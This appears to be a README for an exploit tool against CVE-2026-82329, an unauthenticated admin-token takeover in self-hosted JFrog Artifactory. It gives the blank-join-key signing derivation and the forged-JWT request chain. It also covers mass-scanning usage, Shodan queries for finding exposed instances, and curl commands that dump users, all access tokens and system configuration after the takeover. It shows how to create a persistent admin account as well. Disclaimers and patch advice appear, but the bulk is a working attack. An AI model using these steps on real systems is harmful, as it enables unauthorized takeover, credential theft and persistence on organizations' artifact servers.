
Exploit for CVE-2026-82329, an unauthenticated auth bypass in self-hosted JFrog Artifactory, allowing admin token takeover via blank join key.
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory (self-hosted) unauthenticated join-JWT
→ SERVICE admin token → platform applied-permissions/admin access token.
CVSS 9.8 · CWE-287 · CISA KEV · exploited in the wild.
Authorized testing only. Do not run this against systems you do not own or do not have written permission to test.
Default self-hosted installs trust a blank join key.
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Cloud-hosted JFrog is patched. Self-hosted only.
Access fix line: 7.191.14.
# stdlib only — no pip
python3 artifactory.py -h
TLS verification is off by default (self-signed Artifactory is normal).
No extra flag.
# single host
python3 artifactory.py -u https://artifactory.example.internal:8082
# print minted admin token
python3 artifactory.py -u https://TARGET:8082 --token
# list / pipeline (httpx, shodan, subfinder style)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Pro / Enterprise only — persist a local admin (destructive)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (patched / no blank key)
[FAIL] https://dead:8082 unreachable
| Tag | Meaning |
|---|---|
--token prints the Bearer value. That is the takeover — a login user is optional.
--create-admin often returns 400 on OSS (PUT /artifactory/api/security/users is Pro).
The admin token still works. Persistence is not required for a valid finding.
Replace TARGET and paste the token from --token.
TOKEN='eyJ...' # output of --token
B='https://TARGET:8082'
# version / edition
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# user directory (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# every access token on the instance
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# repository inventory
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
Other useful admin-only reads (do not write unless authorized):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI: Platform → login with Access Token, or send
Authorization: Bearer <token> on every request.
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
Password policy 400 ≠ not vulnerable. Token already has aud=*.
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# common ports
8081 8082 8040 8046 443
Tool strips /artifactory /ui /webapp from -u and talks to the Access router on the same origin.
--create-admin is not the findingReport impact as: unauthenticated platform administrator token.
User creation is a follow-up, not the root issue.
This repository is a validator for systems you are authorized to test.
Minting tokens, listing users, or creating accounts on third-party infrastructure without permission is illegal.
Patch: upgrade to the fixed build for your branch, set a real join key, rotate tokens minted after disclosure.
mitsec · @ynsmroztas
)
| Step | Request | Result |
|---|
| 1 | Forge HS256 join JWT (iat fresh, skip_node_registration=true) | known HMAC secret |
| 2 | POST /access/api/v1/registry/join | 201 SERVICE token scp=admin |
| 3 | POST /access/api/v1/tokens | 200 admin token scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | admin-only proof (unauth = 401) |
| Branch | Vulnerable ≤ | Fixed |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
VULN |
Blank join accepted + admin proof (configuration or token list = 200) |
SAFE | Join rejected — patched, extra join keys set, or not Access |
INFO | Join minted, proof endpoints not 200 — inspect manually |
FAIL | Network / timeout |
| Surface | OSS | Pro / Enterprise |
|---|
| Mint admin access token | yes | yes |
| Read config / list tokens / repos | yes | yes |
PUT /artifactory/api/security/users | 400 Pro-only | 200/201 |
POST /access/api/v2/users | version / policy dependent | 201 |